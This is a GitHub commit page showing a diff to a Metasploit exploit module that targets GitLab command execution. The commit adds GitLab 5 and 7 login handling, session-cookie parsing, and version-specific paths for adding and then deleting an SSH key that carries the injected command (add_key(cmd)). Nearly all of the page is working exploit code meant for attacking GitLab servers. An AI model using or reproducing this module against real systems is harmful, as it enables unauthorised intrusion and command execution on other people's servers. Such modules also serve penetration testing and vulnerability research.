Skip to content

Commit 4e6a04d

Browse files
committed
Modifications for login and key addition
This commit adds additional support for logging in on multiple versions of Gitlab as well as adding a key to exploit the vulnerability.
1 parent a995bcf commit 4e6a04d

File tree

1 file changed

+20
-10
lines changed

1 file changed

+20
-10
lines changed

modules/exploits/multi/http/gitlab_shell_exec.rb

Lines changed: 20 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -96,9 +96,17 @@ def login
9696

9797
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
9898

99-
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[a-z0-9]+)/).flatten[0] || ''
99+
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
100100
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
101101

102+
if res.body.include? 'user[email]'
103+
@gitlab_version = 5
104+
user_field = 'user[email]'
105+
else
106+
@gitlab_version = 7
107+
user_field = 'user[login]'
108+
end
109+
102110
# Perform the actual login and get the newly assigned session cookie
103111
res = send_request_cgi(
104112
'method' => 'POST',
@@ -108,26 +116,30 @@ def login
108116
{
109117
'utf8' => "\xE2\x9C\x93",
110118
'authenticity_token' => auth_token,
111-
'user[login]' => username,
119+
"#{user_field}" => username,
112120
'user[password]' => password,
113121
'user[remember_me]' => 0
114122
}
115123
)
116124

117125
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res
118126

119-
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[a-z0-9]+)/).flatten[0]
127+
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
120128
end
121129

122130
def add_key(cmd)
123-
add_key_base = normalize_uri(datastore['TARGETURI'], 'profile', 'keys')
131+
if @gitlab_version == 5
132+
@key_base = normalize_uri(datastore['TARGETURI'], 'keys')
133+
else
134+
@key_base = normalize_uri(datastore['TARGETURI'], 'profile', 'keys')
135+
end
124136

125137
# Perform an initial request to get an authenticity_token so the actual
126138
# key addition can be done successfully.
127139
res = send_request_cgi(
128140
'method' => 'GET',
129141
'cookie' => "request_method=GET; #{@session_cookie}",
130-
'uri' => normalize_uri(add_key_base, 'new')
142+
'uri' => normalize_uri(@key_base, 'new')
131143
)
132144

133145
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
@@ -149,7 +161,7 @@ def add_key(cmd)
149161
res = send_request_cgi(
150162
'method' => 'POST',
151163
'cookie' => "request_method=GET; #{@session_cookie}",
152-
'uri' => add_key_base,
164+
'uri' => @key_base,
153165
'vars_post' =>
154166
{
155167
'utf8' => "\xE2\x9C\x93",
@@ -168,12 +180,10 @@ def add_key(cmd)
168180
end
169181

170182
def delete_key(key_id)
171-
key_base = normalize_uri(datastore['TARGETURI'], 'profile', 'keys')
172-
173183
res = send_request_cgi(
174184
'method' => 'GET',
175185
'cookie' => "request_method=GET; #{@session_cookie}",
176-
'uri' => key_base
186+
'uri' => @key_base
177187
)
178188

179189
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
@@ -184,7 +194,7 @@ def delete_key(key_id)
184194
res = send_request_cgi(
185195
'method' => 'POST',
186196
'cookie' => "#{@session_cookie}",
187-
'uri' => normalize_uri("#{key_base}", "#{key_id}"),
197+
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
188198
'vars_post' =>
189199
{
190200
'_method' => 'delete',

0 commit comments

Comments
 (0)